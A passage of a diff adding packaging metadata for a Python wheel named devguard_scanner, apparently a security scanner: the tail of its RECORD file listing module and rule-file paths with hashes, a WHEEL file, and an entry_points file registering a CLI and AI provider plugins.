+ devguard/report/sarif.py,sha256=Jemo_ovPAHxggEBq3W8oqGTiego3T82FAMaP8liH8vc,3194
50
+ devguard/report/terminal.py,sha256=f7Ly6kNro1wNyGXAfekmzsZfxRktFV9ZtiuTT7rZO-k,1806
51
+ devguard/report/writer.py,sha256=7fPlKO4L7dP1nb7zRTRT7aKDwPhkyYB28aYdxJkA__8,1887
52
+ devguard/rules/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0
53
+ devguard/rules/catalog.py,sha256=q5s1qyq5uiAPUNZ5KwQYiXmFTIP2AioBmNdTIjDN90I,2783
54
+ devguard/rules/content/ai_instructions.yaml,sha256=GlbUZZRqaUNcIuTlyo_WFaWB-DaKZyn5tZoxOf7Pfao,5288
55
+ devguard/rules/content/cross_language.yaml,sha256=B7Pb-rG8uFBXw-P-6_rZosmYpFppo34QCBRtDgYDFh8,9665
56
+ devguard/rules/content/docs.yaml,sha256=JPqoJVOMNlWS0D72EoHj366dUF_14NPPWYyY5o9HM0w,2959
57
+ devguard/rules/content/javascript.yaml,sha256=0WR0PdM6SzSwfaEX1zGkVfoeBaZvjS67SP69ydm-12o,6782
58
+ devguard/rules/content/obfuscation.yaml,sha256=V5LPPuRhqzT0qbguzzG1baV8Wwo8rrmx7vZfSflBIcc,5521
59
+ devguard/rules/content/python.yaml,sha256=jKZQIuM5aJv2ALqsQSWEway1hbV-VjhDdTRDrx2aqJI,5153
60
+ devguard/rules/content/shell.yaml,sha256=UCIdg1sHXWPRPT8cIWDkHb6silhxCTcVZ3_GO0EYZuM,3986
61
+ devguard/rules/content/windows.yaml,sha256=RveR6Td4wmIfBBMzpO_xSQpuMFefwU34BWYTCUY58U4,3622
62
+ devguard/rules/data/vscode_settings.yaml,sha256=mKD9hFn9wyB9GkD2Egcy6hIFem4DsDRolFxXkEFoK2M,1918
63
+ devguard_scanner-0.1.0.dist-info/METADATA,sha256=kc-GIPEuyfplWsgUIMRq1IWuY3ISiw1L4ftMJG45_cY,3614
64
+ devguard_scanner-0.1.0.dist-info/WHEEL,sha256=W3fkpkm7-wf9vBI5Z-7s0eWkeM-spu78I8Neb98DeEg,87
65
+ devguard_scanner-0.1.0.dist-info/entry_points.txt,sha256=n6ppyZCnhPEULRWQ2eJg2-QOdb9obMUeeHd2mY89ygM,266
66
+ devguard_scanner-0.1.0.dist-info/licenses/LICENSE,sha256=xx0jnfkXJvxRnG63LTGOxlggYnIysveWIZ6H3PNdCrQ,11357
67
+ devguard_scanner-0.1.0.dist-info/RECORD,,
@@ -0,0 +1,4 @@
1
+ Wheel-Version: 1.0
2
+ Generator: hatchling 1.32.4
3
+ Root-Is-Purelib: true
4
+ Tag: py3-none-any
@@ -0,0 +1,7 @@
1
+ [console_scripts]
2
+ devguard = devguard.cli:main
3
+
4
+ [devguard.ai_providers]
5
+ anthropic = devguard.ai.providers.anthropic:make_provider
6
+ openai = devguard.ai.providers.openai_compat:make_openai_provider
7
+ openai-compatible = devguard.ai.providers.openai_compat:make_provider